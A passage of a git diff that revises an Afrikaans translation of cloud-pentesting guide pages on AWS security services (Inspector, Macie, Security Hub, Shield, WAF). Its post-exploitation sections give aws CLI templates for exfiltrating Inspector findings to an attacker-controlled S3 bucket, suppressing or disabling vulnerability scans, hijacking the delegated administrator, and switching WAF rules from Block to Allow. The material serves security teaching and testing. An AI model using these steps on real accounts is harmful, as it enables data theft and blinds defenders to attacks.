'n biblioteek soos python-jwt met 'n bekende kwesbaarheid gebruik, genereer dit 'n bevinding. -- **Lambda kode skandering**: Analiseer aangepaste toepassingskode vir sekuriteitskwessies, wat kwesbaarhede soos inspuitingsfoute, datalekke, swak kriptografie, en ontbrekende enkripsie opspoor. Dit vang kode-snippets wat gedetecteerde kwesbaarhede uitlig, soos hardgecodeerde akrediteer. Findings sluit gedetailleerde herstelvoorstelle en kode-snippets vir die regstelling van die kwessies in. +- **Lambda kode skandering**: Analiseer aangepaste toepassingskode vir sekuriteitskwessies, wat kwesbaarhede soos inspuitingsfoute, datalekke, swak kriptografie, en ontbrekende enkripsie opspoor. Dit vang kode-snippets wat gedetecteerde kwesbaarhede uitlig, soos hardgecodeerde akrediteer. Bevindings sluit gedetailleerde herstelvoorstelle en kode-snippets vir die oplossing van die kwessies in. #### **Center for Internet Security (CIS) scans** @@ -79,7 +79,7 @@ Amazon Inspector sluit CIS-skanderings in om Amazon EC2-instance bedryfstelsels - **Konfigurasie**: CIS-skanderings evalueer of stelsels se konfigurasies aan spesifieke CIS Benchmark aanbevelings voldoen, met elke kontrole wat aan 'n CIS kontrole-ID en titel gekoppel is. - **Uitvoering**: Skanderings word uitgevoer of geskeduleer op grond van instance-tags en gedefinieerde skedules. -- **Resultate**: Post-skanresultate dui aan watter kontroles geslaag het, oorgeslaan is, of gefaal het, wat insig bied in die sekuriteitsposisie van elke instance. +- **Resultate**: Na-skandeer resultate dui aan watter kontroles geslaag het, oorgeslaan is, of gefaal het, wat insig bied in die sekuriteitsposisie van elke instance. ### Enumeration ```bash @@ -185,20 +185,22 @@ aws inspector list-rules-packages ### Post Exploitation > [!TIP] -> Vanuit 'n aanvaller se perspektief kan hierdie diens die aanvaller help om kwesbaarhede en netwerkblootstellings te vind wat hom kan help om ander instansies/tenks te kompromitteer. +> Vanuit 'n aanvaller se perspektief kan hierdie diens die aanvaller help om kwesbaarhede en netwerk blootstellings te vind wat hom kan help om ander instansies/tenks te kompromitteer. > > egter, 'n aanvaller kan ook belangstel om hierdie diens te ontwrig sodat die slagoffer nie kwesbaarhede kan sien nie (alle of spesifieke). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -'n Aanvaller kan gedetailleerde verslae van kwesbaarhede of sagteware-bill of materials (SBOMs) genereer en dit uit jou AWS-omgewing uitvoer. Hierdie inligting kan benut word om spesifieke swakpunte, verouderde sagteware of onveilige afhanklikhede te identifiseer, wat gerigte aanvalle moontlik maak. +'n Aanvaller kan gedetailleerde verslae van kwesbaarhede of sagteware rekening van materiale (SBOMs) genereer en dit uit jou AWS omgewing uitvoer. Hierdie inligting kan benut word om spesifieke swakpunte, verouderde sagteware, of onveilige afhanklikhede te identifiseer, wat geteikende aanvalle moontlik maak. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` -1. **Skep 'n Amazon S3-bucket** en heg 'n beleid daaraan sodat dit toeganklik is vanaf die slagoffer se Amazon Inspector: +Die volgende voorbeeld toon hoe om al die Aktiewe bevindings van Amazon Inspector na 'n aanvaller-beheerde Amazon S3-bucket te eksfiltreer met 'n aanvaller-beheerde Amazon KMS-sleutel: + +1. **Skep 'n Amazon S3-bucket** en heg 'n beleid daaraan om dit vanaf die slagoffer se Amazon Inspector toeganklik te maak: ```json { "Version": "2012-10-17", @@ -255,7 +257,7 @@ aws inspector2 create-sbom-report --report-format --s ] } ``` -3. Voer die opdrag uit om **die bevindingsverslag te skep** deur dit te eksfiltreer: +3. Voer die opdrag uit om die **bevindinge verslag** te skep deur dit te eksfiltreer: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` @@ -263,7 +265,7 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -'n Aanvaller kan die generasie van die gespesifiseerde bevindingsverslag of SBOM-verslag kanselleer, wat verhoed dat sekuriteitspanne tydige inligting oor kwesbaarhede en sagteware-bill of materials (SBOMs) ontvang, wat die opsporing en herstel van sekuriteitskwessies vertraag. +'n Aanvaller kan die generasie van die gespesifiseerde bevindingsverslag of SBOM-verslag kanselleer, wat verhoed dat sekuriteitspanne tydige inligting oor kwesbaarhede en sagteware faktuurlyste (SBOMs) ontvang, wat die opsporing en herstel van sekuriteitskwessies vertraag. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id @@ -274,7 +276,7 @@ aws inspector2 cancel-sbom-export --report-id #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -'n Aanvaller met hierdie toestemmings sou in staat wees om die filterreëls te manipuleer wat bepaal watter kwesbaarhede en sekuriteitskwessies gerapporteer of onderdruk word (as die **aksie** op SUPPRESS gestel is, sou 'n onderdrukkingsreël geskep word). Dit kan kritieke kwesbaarhede van sekuriteitsadministrateurs verberg, wat dit makliker maak om hierdie swakhede sonder opsporing te benut. Deur belangrike filters te verander of te verwyder, kan 'n aanvaller ook geraas skep deur die stelsel met irrelevante bevindings te oorstroom, wat effektiewe sekuriteitsmonitering en -reaksie belemmer. +'n Aanvaller met hierdie toestemmings sou in staat wees om die filtreringsreëls te manipuleer wat bepaal watter kwesbaarhede en sekuriteitskwessies gerapporteer of onderdruk word (as die **aksie** op SUPPRESS gestel is, sou 'n onderdrukkingsreël geskep word). Dit kan kritieke kwesbaarhede van sekuriteitsadministrateurs verberg, wat dit makliker maak om hierdie swakhede sonder opsporing te benut. Deur belangrike filters te verander of te verwyder, kan 'n aanvaller ook geraas skep deur die stelsel met irrelevante bevindings te oorstroom, wat effektiewe sekuriteitsmonitering en -reaksie belemmer. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -283,7 +285,7 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` -- **Potensiële Impak**: Verborge of onderdrukking van kritieke kwesbaarhede, of oorstroming van die stelsel met irrelevante bevindings. +- **Potensiële Impak**: Verberging of onderdrukking van kritieke kwesbaarhede, of oorstroming van die stelsel met irrelevante bevindings. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) @@ -293,9 +295,9 @@ aws inspector2 delete-filter --arn - Deur 'n ongeoorloofde administrateurrekening te aktiveer, kan 'n aanvaller sekuriteitskonfigurasies beheer, wat moontlik skandeer kan deaktiveer of instellings kan wysig om kwaadwillige aktiwiteite te verberg. > [!WARNING] -> Dit is vereis dat die ongeoorloofde rekening in dieselfde Organisasie as die slagoffer is om die gedelegeerde administrateur te word. +> Dit is vereis dat die ongeoorloofde rekening in dieselfde Organisasie as die slagoffer wees om die gedelegeerde administrateur te word. > -> Ten einde vir die ongeoorloofde rekening om die gedelegeerde administrateur te word, is dit ook vereis dat nadat die wettige gedelegeerde administrateur gedeaktiveer is, en voordat die ongeoorloofde rekening as die gedelegeerde administrateur geaktiveer word, die wettige administrateur van die organisasie as die gedelegeerde administrateur gederegistreer moet word. Dit kan gedoen word met die volgende opdrag (**`organizations:DeregisterDelegatedAdministrator`** toestemming vereis): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> Ten einde vir die ongeoorloofde rekening om die gedelegeerde administrateur te word, is dit ook vereis dat nadat die wettige gedelegeerde administrateur gedeaktiveer is, en voordat die ongeoorloofde rekening as die gedelegeerde administrateur geaktiveer word, die wettige administrateur as die gedelegeerde administrateur uit die organisasie moet word. Dit kan gedoen word met die volgende opdrag (**`organizations:DeregisterDelegatedAdministrator`** toestemming vereis): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id @@ -309,21 +311,21 @@ aws inspector2 enable-delegated-admin-account --delegated-admin-account-id [!WARNING] -> Hierdie aksie vereis dat dit deur die gedelegeerde administrateur uitgevoer word. +> Hierdie aksie moet deur die gedelegeerde administrateur uitgevoer word. ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **Potensiële Impak**: Uitsluiting van sleutelrekeninge uit sekuriteitsskande, wat onopgemerkte uitbuiting van kwesbaarhede moontlik maak. +- **Potensiële Impak**: Uitsluiting van sleutelrekeninge van sekuriteitsskande, wat ongekende uitbuiting van kwesbaarhede moontlik maak. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -'n Aanvaller met die `inspector2:Disable` toestemming sou in staat wees om sekuriteitsskande op spesifieke hulpbron tipes (EC2, ECR, Lambda, Lambda kode) oor die gespesifiseerde rekeninge te deaktiveer, wat dele van die AWS omgewing onbeheerd en kwesbaar vir aanvalle laat. Daarbenewens, as gevolg van die **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** toestemmings, kan 'n aanvaller dan selektief skande heraktiveer om opsporing van verdagte konfigurasies te vermy. +'n Aanvaller met die `inspector2:Disable` toestemming sal in staat wees om sekuriteitsskande op spesifieke hulpbron tipes (EC2, ECR, Lambda, Lambda kode) oor die gespesifiseerde rekeninge te deaktiveer, wat dele van die AWS omgewing onbeheerd en kwesbaar vir aanvalle laat. Daarbenewens, as gevolg van die **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** toestemmings, kan 'n aanvaller dan skande selektief heraktiveer om opsporing van verdagte konfigurasies te vermy. > [!WARNING] -> Hierdie aksie moet deur die gedelegeerde administrateur uitgevoer word. +> Hierdie aksie vereis dat dit deur die gedelegeerde administrateur uitgevoer word. ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] @@ -341,11 +343,11 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco ```bash aws inspector2 update-organization-configuration --auto-enable ``` -- **Potensiële Impak**: Verander sekuriteitskande-beleide en konfigurasies vir die organisasie. +- **Potensiële Impak**: Verander sekuriteitsskande-beleid en konfigurasies vir die organisasie. #### `inspector2:TagResource`, `inspector2:UntagResource` -'n Aanvaller kan etikette op AWS Inspector hulpbronne manipuleer, wat krities is vir die organiseer, opspoor en outomatiseer van sekuriteitsassessering. Deur etikette te verander of te verwyder, kan 'n aanvaller potensieel kwesbaarhede van sekuriteitskande verberg, nakomingsverslaggewing ontwrig, en inmeng met outomatiese herstelprosesse, wat lei tot onbeheerde sekuriteitskwessies en gecompromitteerde stelselintegriteit. +'n Aanvaller kan etikette op AWS Inspector hulpbronne manipuleer, wat krities is vir die organiseer, opspoor en outomatiseer van sekuriteitsassessering. Deur etikette te verander of te verwyder, kan 'n aanvaller potensieel kwesbaarhede van sekuriteitsskande verberg, nakomingsverslaggewing ontwrig, en inmeng met outomatiese herstelprosesse, wat lei tot onbeheerde sekuriteitskwessies en gecompromitteerde stelselintegriteit. ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 1099dcb0f..845e4aa0d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,15 +6,15 @@ ## Macie -Amazon Macie val uit as 'n diens wat ontwerp is om **outomaties data te ontdek, te klassifiseer en te identifiseer** binne 'n AWS-rekening. Dit benut **masjienleer** om data deurlopend te monitor en te analiseer, met die primêre fokus op die opsporing en waarskuwing teen ongewone of verdagte aktiwiteite deur **cloud trail event** data en gebruikersgedragspatrone te ondersoek. +Amazon Macie is 'n diens wat ontwerp is om **outomaties data te ontdek, te klassifiseer en te identifiseer** binne 'n AWS-rekening. Dit benut **masjienleer** om data deurlopend te monitor en te analiseer, met die fokus op die opsporing en waarskuwing teen ongewone of verdagte aktiwiteite deur **cloud trail event** data en gebruikersgedragspatrone te ondersoek. Belangrike Kenmerke van Amazon Macie: -1. **Aktiewe Data-oorsig**: Maak gebruik van masjienleer om data aktief te hersien soos verskeie aksies binne die AWS-rekening plaasvind. -2. **Anomalie-opsporing**: Identifiseer onreëlmatige aktiwiteite of toegangspatrone, wat waarskuwings genereer om potensiële data blootstellingsrisiko's te verminder. -3. **Deurlopende Monitering**: Monitor en ontdek outomaties nuwe data in Amazon S3, wat masjienleer en kunsmatige intelligensie benut om aan te pas by data toegangspatrone oor tyd. -4. **Data Klassifikasie met NLP**: Maak gebruik van natuurlike taalverwerking (NLP) om verskillende datatipes te klassifiseer en te interpreteer, en toekenning van risiko punte om bevindings te prioritiseer. -5. **Sekuriteitsmonitering**: Identifiseer sekuriteitsgevoelige data, insluitend API-sleutels, geheime sleutels, en persoonlike inligting, wat help om data lekke te voorkom. +1. **Aktiewe Data Hersiening**: Gebruik masjienleer om data aktief te hersien soos verskeie aksies binne die AWS-rekening plaasvind. +2. **Anomalie Opsporing**: Identifiseer onreëlmatige aktiwiteite of toegangspatrone, wat waarskuwings genereer om potensiële data blootstellingsrisiko's te verminder. +3. **Deurlopende Monitering**: Monitor en ontdek outomaties nuwe data in Amazon S3, wat masjienleer en kunsmatige intelligensie gebruik om aan te pas by data toegangspatrone oor tyd. +4. **Data Klassifikasie met NLP**: Gebruik natuurlike taalverwerking (NLP) om verskillende datatipes te klassifiseer en te interpreteer, en risiko punte toe te ken om bevindings te prioritiseer. +5. **Sekuriteitsmonitering**: Identifiseer sekuriteitsgevoelige data, insluitend API sleutels, geheime sleutels, en persoonlike inligting, wat help om data lekke te voorkom. Amazon Macie is 'n **streekdiens** en vereis die 'AWSMacieServiceCustomerSetupRole' IAM Rol en 'n geaktiveerde AWS CloudTrail vir funksionaliteit. @@ -25,29 +25,29 @@ Macie kategoriseer waarskuwings in vooraf gedefinieerde kategorieë soos: - Anonimiseerde toegang - Data nakoming - Kredensiële verlies -- Privilege-eskalasie +- Privilege eskalasie - Ransomware - Verdachte toegang, ens. -Hierdie waarskuwings bied gedetailleerde beskrywings en resultaatopbrekings vir effektiewe reaksie en oplossing. +Hierdie waarskuwings bied gedetailleerde beskrywings en resultaatontledings vir effektiewe reaksie en oplossing. ### Dashboard Kenmerke Die dashboard kategoriseer data in verskeie afdelings, insluitend: -- S3 Voorwerpe (volgens tydsbereik, ACL, PII) +- S3 Objekte (volgens tydsbereik, ACL, PII) - Hoë risiko CloudTrail gebeurtenisse/gebruikers - Aktiwiteit Lokasies - CloudTrail gebruikersidentiteitstipes, en meer. ### Gebruiker Kategorisering -Gebruikers word geklassifiseer in vlakke gebaseer op die risiko vlak van hul API-oproepe: +Gebruikers word geklassifiseer in vlakke gebaseer op die risiko vlak van hul API oproepe: -- **Platinum**: Hoë risiko API-oproepe, dikwels met admin regte. -- **Goud**: Infrastruktuur-verwante API-oproepe. -- **Silwer**: Medium risiko API-oproepe. -- **Brons**: Lae risiko API-oproepe. +- **Platinum**: Hoë risiko API oproepe, dikwels met admin voorregte. +- **Gold**: Infrastruktuur-verwante API oproepe. +- **Silver**: Medium risiko API oproepe. +- **Bronze**: Lae risiko API oproepe. ### Identiteitstipes @@ -57,16 +57,16 @@ Identiteitstipes sluit Root, IAM gebruiker, Aangenome Rol, Gefedereerde Gebruike Data klassifikasie sluit in: -- Inhouds tipe: Gebaseer op die gedetecteerde inhoud tipe. +- Inhouds tipe: Gebaseer op gedetecteerde inhoud tipe. - Lêeruitbreiding: Gebaseer op lêeruitbreiding. - Tema: Gekategoriseer volgens sleutelwoorde binne lêers. - Regex: Gekategoriseer gebaseer op spesifieke regex patrone. -Die hoogste risiko onder hierdie kategorieë bepaal die lêer se finale risiko vlak. +Die hoogste risiko onder hierdie kategorieë bepaal die lêer se finale risikoniveau. ### Navorsing en Analise -Amazon Macie se navorsingsfunksie laat vir pasgemaakte navrae oor alle Macie data vir diepgaande analise. Filters sluit CloudTrail Data, S3 Emmer eienskappe, en S3 Voorwerpe in. Boonop ondersteun dit die uitnodiging van ander rekeninge om Amazon Macie te deel, wat samewerkende data bestuur en sekuriteitsmonitering fasiliteer. +Amazon Macie se navorsingsfunksie laat vir pasgemaakte navrae oor alle Macie data vir diepgaande analise. Filters sluit CloudTrail Data, S3 Emmer eienskappe, en S3 Objekte in. Boonop ondersteun dit die uitnodiging van ander rekeninge om Amazon Macie te deel, wat samewerkende data bestuur en sekuriteitsmonitering fasiliteer. ### Enumerasie ``` @@ -105,7 +105,7 @@ aws macie2 list-custom-data-identifiers > [!TIP] > Vanuit 'n aanvaller se perspektief is hierdie diens nie gemaak om die aanvaller te ontdek nie, maar om sensitiewe inligting in die gestoor lêers te ontdek. Daarom kan hierdie diens **'n aanvaller help om sensitiewe inligting** binne die emmers te vind.\ -> Dit is egter moontlik dat 'n aanvaller ook geïnteresseerd kan wees om dit te ontwrig om te voorkom dat die slagoffer waarskuwings ontvang en daardie inligting makliker te steel. +> egter, dalk kan 'n aanvaller ook belangstel om dit te ontwrig om te voorkom dat die slagoffer waarskuwings ontvang en daardie inligting makliker steel. TODO: PRs is welkom! diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 1e7352495..6299ddf8a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,7 +4,7 @@ ## Security Hub -**Security Hub** versamel sekuriteits **data** van **verskeie AWS-rekeninge**, dienste, en ondersteunende derdepartyvennootprodukte en help jou om jou **sekuriteits** tendense te analiseer en die hoogste prioriteit sekuriteitskwessies te identifiseer. +**Security Hub** versamel sekuriteits **data** van **verskeie AWS-rekeninge**, dienste, en ondersteunende derdeparty vennootprodukte en help jou om jou **sekuriteits** tendense te analiseer en die hoogste prioriteit sekuriteitskwessies te identifiseer. Dit **sentraliseer sekuriteitsverwante waarskuwings oor rekeninge**, en bied 'n UI om hierdie te sien. Die grootste beperking is dit **sentraliseer nie waarskuwings oor streke nie**, slegs oor rekeninge. @@ -18,7 +18,7 @@ Dit **sentraliseer sekuriteitsverwante waarskuwings oor rekeninge**, en bied 'n - Inspector - Macie - derdeparty -- self-gegeneer teen CIS-standaarde +- self-gegeneer teen CIS standaarde ## Enumeration ``` @@ -49,7 +49,7 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` -## Om Ontdekking Te Omseil +## Om Detection te Omseil TODO, PRs aanvaar diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index 0583e0c8b..b18d0f009 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -6,9 +6,9 @@ AWS Shield is ontwerp om te help **beskerm jou infrastruktuur teen verspreide ontkenning van diens aanvalle**, algemeen bekend as DDoS. -**AWS Shield Standard** is **gratis** vir almal, en dit bied **DDoS-beskerming** teen sommige van die meer algemene laag drie, die **netwerklaag**, en laag vier, **vervoerlaag**, DDoS aanvalle. Hierdie beskerming is geïntegreer met beide CloudFront en Route 53. +**AWS Shield Standard** is **gratis** vir almal, en dit bied **DDoS-beskerming** teen sommige van die meer algemene laag drie, die **netwerklaag**, en laag vier, **vervoerlaag**, DDoS-aanvalle. Hierdie beskerming is geïntegreer met beide CloudFront en Route 53. -**AWS Shield advanced** bied 'n **groter vlak van beskerming** vir DDoS aanvalle oor 'n breër reeks AWS dienste teen 'n addisionele koste. Hierdie gevorderde vlak bied beskerming teen jou webtoepassings wat op EC2, CloudFront, ELB en ook Route 53 draai. Benewens hierdie addisionele hulpbronne wat beskerm word, is daar verbeterde vlakke van DDoS-beskerming wat aangebied word in vergelyking met die van Standard. En jy sal ook **toegang hê tot 'n 24-uur spesialiseerde DDoS reaksiespan by AWS, bekend as DRT**. +**AWS Shield advanced** bied 'n **groter vlak van beskerming** vir DDoS-aanvalle oor 'n breër reeks van AWS-dienste teen 'n addisionele koste. Hierdie gevorderde vlak bied beskerming teen jou webtoepassings wat op EC2, CloudFront, ELB en ook Route 53 loop. Benewens hierdie addisionele hulpbronne wat beskerm word, is daar verbeterde vlakke van DDoS-beskerming wat aangebied word in vergelyking met die Standard. En jy sal ook **toegang hê tot 'n 24-uur spesialiseerde DDoS-responspan by AWS, bekend as DRT**. Terwyl die Standard weergawe van Shield beskerming gebied het teen laag drie en laag vier, **Advanced bied ook beskerming teen laag sewe, toepassing, aanvalle.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index 8a0f1e205..029d07c16 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -21,7 +21,7 @@ Die omvattende kenmerke van Trusted Advisor is eksklusief beskikbaar met **AWS b - Items kan uitgesluit word van sy kontroles. - Data word elke 24 uur vernuwe. 'n Handmatige vernuwing is egter moontlik 5 minute na die laaste vernuwing. -### **Kontroles Ontleding** +### **Kontroles Afbreking** #### Kategoriese Kern diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index bb678b7ca..54fabc1a4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -16,9 +16,9 @@ AWS WAF is 'n **webtoepassing vuurmuur** wat ontwerp is om **webtoepassings of A #### Reëlgroep -'n Reëlgroep is 'n herbruikbare versameling van reëls wat jy op verskeie Web ACL's kan toepas. Reëlgroepe help om konsekwente reëlstelle oor verskillende webtoepassings of API's te bestuur en te onderhou. +'n Reëlgroep is 'n herbruikbare versameling van reëls wat jy op verskeie Web ACLs kan toepas. Reëlgroepe help om konsekwente reëlstelle oor verskillende webtoepassings of API's te bestuur en te onderhou. -Elke reëlgroep het sy geassosieerde **kapasiteit**, wat help om die bedryfsbronne wat gebruik word om jou reëls, reëlgroepe en web ACL's te bestuur, te bereken en te beheer. Sodra die waarde tydens die skepping gestel is, is dit nie moontlik om dit te wysig nie. +Elke reëlgroep het sy geassosieerde **kapasiteit**, wat help om die bedryfsbronne wat gebruik word om jou reëls, reëlgroepe en web ACLs te laat loop, te bereken en te beheer. Sodra die waarde tydens die skepping gestel is, is dit nie moontlik om dit te wysig nie. #### Reël @@ -41,7 +41,7 @@ AWS WAF bied vooraf-gekonfigureerde, geverifieerde reëlstelle wat deur AWS en A #### Lock Token -'n Lock Token word gebruik vir gelyktydigheidsbeheer wanneer opdaterings aan WAF-hulpbronne gemaak word. Dit verseker dat veranderinge nie per ongeluk deur verskeie gebruikers of prosesse wat probeer om dieselfde hulpbron gelyktydig op te dateer, oorgeskryf word nie. +'n Lock Token word gebruik vir gelyktydige beheer wanneer daar opdaterings aan WAF-hulpbronne gemaak word. Dit verseker dat veranderinge nie per ongeluk deur verskeie gebruikers of prosesse wat probeer om dieselfde hulpbron gelyktydig op te dateer, oorgeskryf word nie. #### API Sleutels @@ -57,14 +57,14 @@ API Sleutels in AWS WAF word gebruik om versoeke na sekere API operasies te veri Die bereikparameter in AWS WAF spesifiseer of die WAF-reëls en konfigurasies van toepassing is op 'n streeks toepassing of 'n Amazon CloudFront verspreiding. -- **REGIONAL**: Geld vir streeks dienste soos Toepassing Laai Balansers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito gebruikerspoel, AWS App Runner diens en AWS Verified Access instansie. Jy spesifiseer die AWS streek waar hierdie hulpbronne geleë is. -- **CLOUDFRONT**: Geld vir Amazon CloudFront verspreidings, wat globaal is. WAF-konfigurasies vir CloudFront word deur die `us-east-1` streek bestuur ongeag waar die inhoud bedien word. +- **REGIONAL**: Geld vir streeksdienste soos Toepassing Laai Balansers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito gebruikerspoel, AWS App Runner diens en AWS Verified Access instansie. Jy spesifiseer die AWS streek waar hierdie hulpbronne geleë is. +- **CLOUDFRONT**: Geld vir Amazon CloudFront verspreidings, wat globaal is. WAF-konfigurasies vir CloudFront word bestuur deur die `us-east-1` streek ongeag waar die inhoud bedien word. ### Sleutelkenmerke #### Monitering Kriteria (Voorwaardes) -**Voorwaardes** spesifiseer die elemente van inkomende HTTP/HTTPS versoeke wat AWS WAF monitor, wat XSS, geografiese ligging (GEO), IP-adresse, Grootte beperkings, SQL-inspuiting, en patrone (stringe en regex ooreenkomste) insluit. Dit is belangrik om te noem dat **versoeke wat op die CloudFront vlak op grond van land beperk is, nie WAF sal bereik nie**. +**Voorwaardes** spesifiseer die elemente van inkomende HTTP/HTTPS versoeke wat AWS WAF moniteer, wat XSS, geografiese ligging (GEO), IP-adresse, Grootte beperkings, SQL-inspuiting, en patrone (stringe en regex ooreenkoms) insluit. Dit is belangrik om te noem dat **versoeke wat op die CloudFront vlak op grond van land beperk is, nie WAF sal bereik nie**. Elke AWS rekening kan konfigureer: @@ -80,13 +80,13 @@ Aksies word aan elke reël toegeken, met opsies soos: - **Toelaat**: Die versoek word na die toepaslike CloudFront verspreiding of Toepassing Laai Balanser gestuur. - **Blokkeer**: Die versoek word onmiddellik beëindig. - **Tel**: Tel die versoeke wat aan die reël se voorwaardes voldoen. Dit is nuttig vir reëltoetsing, om die akkuraatheid van die reël te bevestig voordat dit op Toelaat of Blokkeer gestel word. -- **CAPTCHA en Uitdaging:** Dit word geverifieer dat die versoek nie van 'n bot kom nie deur CAPTCHA legkaarte en stille uitdagings. +- **CAPTCHA en Uitdaging:** Dit word geverifieer dat die versoek nie van 'n bot afkomstig is nie deur middel van CAPTCHA legkaarte en stille uitdagings. As 'n versoek nie aan enige reël binne die Web ACL voldoen nie, ondergaan dit die **standaard aksie** (Toelaat of Blokkeer). Die volgorde van reël uitvoering, wat binne 'n Web ACL gedefinieer is, is belangrik en volg tipies hierdie volgorde: 1. Toelaat Witlys IP's. 2. Blokkeer Swartlys IP's. -3. Blokkeer versoeke wat enige nadelige handtekeninge ooreenstem. +3. Blokkeer versoeke wat aan enige nadelige handtekeninge voldoen. #### CloudWatch Integrasie @@ -99,7 +99,7 @@ Om met CloudFront verspreidings te kommunikeer, moet jy die Streek US East (N. V - CLI - Spesifiseer die Streek US East wanneer jy die CloudFront bereik gebruik: `--scope CLOUDFRONT --region=us-east-1`. - API en SDK's - Vir alle oproepe, gebruik die Streek eindpunt us-east-1. -Om met streeks dienste te kommunikeer, moet jy die streek spesifiseer: +Om met streeksdienste te kommunikeer, moet jy die streek spesifiseer: - Voorbeeld met die streek Europa (Spanje): `--scope REGIONAL --region=eu-south-2` ```bash @@ -192,14 +192,14 @@ aws wafv2 get-mobile-sdk-release --platform --release-version > > egter, 'n aanvaller kan ook belangstel om hierdie diens te ontwrig sodat die webwerwe nie deur die WAF beskerm word nie. -In baie van die Verwyder en Opdateer operasies sal dit nodig wees om die **lock token** te verskaf. Hierdie token word gebruik vir mededingingsbeheer oor die hulpbronne, wat verseker dat veranderinge nie per ongeluk deur verskeie gebruikers of prosesse wat probeer om dieselfde hulpbron gelyktydig op te dateer, oorgeskryf word nie. Om hierdie token te verkry, kan jy die ooreenstemmende **lys** of **kry** operasies oor die spesifieke hulpbron uitvoer. +In baie van die Verwyder en Opdateer operasies sal dit nodig wees om die **lock token** te verskaf. Hierdie token word gebruik vir mededingingsbeheer oor die hulpbronne, wat verseker dat veranderinge nie per ongeluk deur verskeie gebruikers of prosesse wat probeer om dieselfde hulpbron gelyktydig op te dateer, oorgeskryf word nie. Om hierdie token te verkry, kan jy die ooreenstemmende **list** of **get** operasies oor die spesifieke hulpbron uitvoer. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** 'n Aanvaller sal in staat wees om die sekuriteit van die geraakte hulpbron te kompromitteer deur: -- Reëlgroepe te skep wat, byvoorbeeld, wettige verkeer van wettige IP-adresse kan blokkeer, wat 'n ontkenning van diens veroorsaak. -- Reëlgroepe op te dateer, wat in staat is om sy aksies te verander, byvoorbeeld van **Block** na **Allow**. +- Reëlgroepe te skep wat byvoorbeeld legitieme verkeer van legitieme IP-adresse kan blokkeer, wat 'n ontkenning van diens veroorsaak. +- Reëlgroepe op te dateer, wat in staat is om sy aksies te verander byvoorbeeld van **Block** na **Allow**. - Reëlgroepe te verwyder wat kritieke sekuriteitsmaatreëls bied. ```bash # Create Rule Group @@ -211,7 +211,7 @@ aws wafv2 update-rule-group --name --id --visibility-config --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Die volgende voorbeelde toon 'n reëlgroep wat legitieme 